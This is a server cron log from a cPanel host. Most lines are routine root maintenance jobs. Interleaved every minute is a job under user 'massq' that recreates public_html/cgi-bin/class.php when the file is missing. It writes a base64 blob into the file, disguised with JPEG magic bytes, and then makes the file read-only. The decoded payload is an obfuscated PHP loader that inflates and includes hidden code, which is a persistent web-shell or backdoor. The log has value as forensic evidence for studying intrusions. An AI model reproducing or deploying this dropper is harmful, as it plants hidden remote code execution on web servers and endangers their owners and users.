Sep  4 22:15:01 server CROND[14875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:15:01 server CROND[14878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:15:01 server CROND[14880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:15:01 server CROND[14886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:15:01 server CROND[14887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:15:01 server CROND[14877]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 22:15:01 server CROND[14888]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 22:16:01 server CROND[15719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:16:01 server CROND[15720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:16:01 server CROND[15721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:17:01 server CROND[16152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:17:01 server CROND[16154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:17:01 server CROND[16155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:18:01 server CROND[16530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:18:01 server CROND[16529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:18:01 server CROND[16531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:19:01 server CROND[17007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:19:01 server CROND[17008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:19:01 server CROND[17009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:20:01 server CROND[17400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:20:01 server CROND[17402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:20:01 server CROND[17421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:20:01 server CROND[17423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:20:01 server CROND[17426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:20:01 server CROND[17425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:20:01 server CROND[17427]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:20:01 server CROND[17428]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:20:01 server CROND[17422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:21:01 server CROND[18304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:21:01 server CROND[18305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:21:01 server CROND[18306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:22:01 server CROND[18682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:22:01 server CROND[18683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:22:01 server CROND[18684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:23:01 server CROND[19080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:23:01 server CROND[19081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:23:01 server CROND[19083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:24:01 server CROND[19555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:24:01 server CROND[19556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:24:01 server CROND[19557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:25:01 server CROND[19945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:25:01 server CROND[19947]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:25:01 server CROND[19948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:25:01 server CROND[19950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:25:01 server CROND[19951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:25:01 server CROND[19959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:25:01 server CROND[19953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:25:01 server CROND[19952]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 22:26:01 server CROND[20856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:26:01 server CROND[20855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:26:01 server CROND[20857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
